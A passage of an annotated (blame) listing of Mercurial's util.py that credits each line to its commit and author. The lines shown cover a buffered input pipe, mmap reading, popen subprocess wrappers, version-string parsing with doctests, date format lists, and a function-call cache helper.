be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
400 buf = buf[len(data):]
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
401 if buf:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
402 self._buffer = [buf]
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
403 self._lenbuf = len(buf)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
404 else:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
405 self._buffer = []
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
406 self._lenbuf = 0
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
407 return data
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
408
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
409 def _fillbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
410 """read data to the buffer"""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
411 data = os.read(self._input.fileno(), _chunksize)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
412 if not data:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
413 self._eof = True
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
414 else:
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
415 self._lenbuf += len(data)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
416 self._buffer.append(data)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
417
34302
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
418 def mmapread(fp):
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
419 try:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
420 fd = getattr(fp, 'fileno', lambda: fp)()
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
422 except ValueError:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
423 # Empty files cannot be mmapped, but mmapread should still work. Check
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
424 # if the file is empty, and if so, return an empty buffer.
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
425 if os.fstat(fd).st_size == 0:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
426 return ''
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
427 raise
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
428
10199
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
429 def popen2(cmd, env=None, newlines=False):
9089
8ec39725d966 util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents: 9084
diff changeset
430 # Setting bufsize to -1 lets the system decide the buffer size.
8ec39725d966 util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents: 9084
diff changeset
431 # The default for bufsize is 0, meaning unbuffered. This leads to
8ec39725d966 util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents: 9084
diff changeset
432 # poor performance on Mac OS X: http://bugs.python.org/issue4194
8ec39725d966 util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents: 9084
diff changeset
433 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
9083
ec171737aaf1 Backed out changeset fce065538bcf: it caused a 5x performance regression on OS X
Bryan O'Sullivan <bos@serpentine.com>
parents: 8340
diff changeset
434 close_fds=closefds,
10197
29e3c4a7699b subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents: 9996
diff changeset
435 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
10199
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
436 universal_newlines=newlines,
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
437 env=env)
8280
0b02d98d44d0 util: always use subprocess
Martin Geisler <mg@lazybytes.net>
parents: 8257
diff changeset
438 return p.stdin, p.stdout
10197
29e3c4a7699b subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents: 9996
diff changeset
439
10199
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
440 def popen3(cmd, env=None, newlines=False):
18759
9baf4330d88f sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents: 18736
diff changeset
441 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
9baf4330d88f sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents: 18736
diff changeset
442 return stdin, stdout, stderr
9baf4330d88f sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents: 18736
diff changeset
443
25245
504ef9c49f4a util: allow to specify buffer size in popen4
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25211
diff changeset
444 def popen4(cmd, env=None, newlines=False, bufsize=-1):
504ef9c49f4a util: allow to specify buffer size in popen4
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25211
diff changeset
445 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
9083
ec171737aaf1 Backed out changeset fce065538bcf: it caused a 5x performance regression on OS X
Bryan O'Sullivan <bos@serpentine.com>
parents: 8340
diff changeset
446 close_fds=closefds,
8280
0b02d98d44d0 util: always use subprocess
Martin Geisler <mg@lazybytes.net>
parents: 8257
diff changeset
447 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
10197
29e3c4a7699b subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents: 9996
diff changeset
448 stderr=subprocess.PIPE,
10199
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
449 universal_newlines=newlines,
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
450 env=env)
18759
9baf4330d88f sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents: 18736
diff changeset
451 return p.stdin, p.stdout, p.stderr, p
7106
4674706b5b95 python2.6: use subprocess if available
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents: 6884
diff changeset
452
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
453 def version():
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
454 """Return version information if available."""
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
455 try:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
456 from . import __version__
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
457 return __version__.version
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
458 except ImportError:
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
459 return 'unknown'
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
460
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
461 def versiontuple(v=None, n=4):
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
462 """Parses a Mercurial version string into an N-tuple.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
463
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
464 The version string to be parsed is specified with the ``v`` argument.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
465 If it isn't defined, the current Mercurial version string will be parsed.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
466
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
467 ``n`` can be 2, 3, or 4. Here is how some version strings map to
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
468 returned values:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
469
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
470 >>> v = b'3.6.1+190-df9b73d2d444'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
471 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
472 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
473 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
474 (3, 6, 1)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
475 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
476 (3, 6, 1, '190-df9b73d2d444')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
477
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
478 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
479 (3, 6, 1, '190-df9b73d2d444+20151118')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
480
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
481 >>> v = b'3.6'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
482 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
483 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
484 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
485 (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
486 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
487 (3, 6, None, None)
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
488
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
489 >>> v = b'3.9-rc'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
490 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
491 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
492 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
493 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
494 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
495 (3, 9, None, 'rc')
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
496
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
497 >>> v = b'3.9-rc+2-02a8fea4289b'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
498 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
499 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
500 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
501 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
502 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
503 (3, 9, None, 'rc+2-02a8fea4289b')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
504 """
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
505 if not v:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
506 v = version()
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
507 parts = remod.split('[\+-]', v, 1)
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
508 if len(parts) == 1:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
509 vparts, extra = parts[0], None
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
510 else:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
511 vparts, extra = parts
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
512
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
513 vints = []
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
514 for i in vparts.split('.'):
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
515 try:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
516 vints.append(int(i))
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
517 except ValueError:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
518 break
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
519 # (3, 6) -> (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
520 while len(vints) < 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
521 vints.append(None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
522
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
523 if n == 2:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
524 return (vints[0], vints[1])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
525 if n == 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
526 return (vints[0], vints[1], vints[2])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
527 if n == 4:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
528 return (vints[0], vints[1], vints[2], extra)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
529
2609
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
530 # used by parsedate
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
531 defaultdateformats = (
29638
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
532 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
533 '%Y-%m-%dT%H:%M', # without seconds
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
534 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
535 '%Y-%m-%dT%H%M', # without seconds
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
536 '%Y-%m-%d %H:%M:%S', # our common legal variant
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
537 '%Y-%m-%d %H:%M', # without seconds
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
538 '%Y-%m-%d %H%M%S', # without :
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
539 '%Y-%m-%d %H%M', # without seconds
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
540 '%Y-%m-%d %I:%M:%S%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
541 '%Y-%m-%d %H:%M',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
542 '%Y-%m-%d %I:%M%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
543 '%Y-%m-%d',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
544 '%m-%d',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
545 '%m/%d',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
546 '%m/%d/%y',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
547 '%m/%d/%Y',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
548 '%a %b %d %H:%M:%S %Y',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
549 '%a %b %d %I:%M:%S%p %Y',
4708
01f9ee4de1ad Add support for RFC2822 to util.parsedate().
Markus F.X.J. Oberhumer <markus@oberhumer.com>
parents: 4686
diff changeset
550 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
551 '%b %d %H:%M:%S %Y',
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
552 '%b %d %I:%M:%S%p %Y',
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
553 '%b %d %H:%M:%S',
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
554 '%b %d %I:%M:%S%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
555 '%b %d %H:%M',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
556 '%b %d %I:%M%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
557 '%b %d %Y',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
558 '%b %d',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
559 '%H:%M:%S',
9383
7116494c48ab util: Fix date format for 12-hour time.
Carey Evans <carey@carey.geek.nz>
parents: 9097
diff changeset
560 '%I:%M:%S%p',
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
561 '%H:%M',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
562 '%I:%M%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
563 )
2609
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
564
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
565 extendeddateformats = defaultdateformats + (
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
566 "%Y",
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
567 "%Y-%m",
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
568 "%b",
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
569 "%b %Y",
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
570 )
2609
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
571
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
572 def cachefunc(func):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
573 '''cache the result of function calls'''
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
574 # XXX doesn't handle keywords args
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
575 if func.__code__.co_argcount == 0:
20835
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
576 cache = []
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
577 def f():
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
578 if len(cache) == 0:
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
579 cache.append(func())
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
580 return cache[0]
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
581 return f
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
582 cache = {}
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
583 if func.__code__.co_argcount == 1:
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
584 # we gain a small amount of time because
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
585 # we don't need to pack/unpack the list
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
586 def f(arg):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
587 if arg not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
588 cache[arg] = func(arg)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
589 return cache[arg]
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
590 else:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
591 def f(*args):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
592 if args not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
593 cache[args] = func(*args)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
594 return cache[args]
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
595
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
596 return f
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
597
34358
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
598 class cow(object):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
599 """helper class to make copy-on-write easier
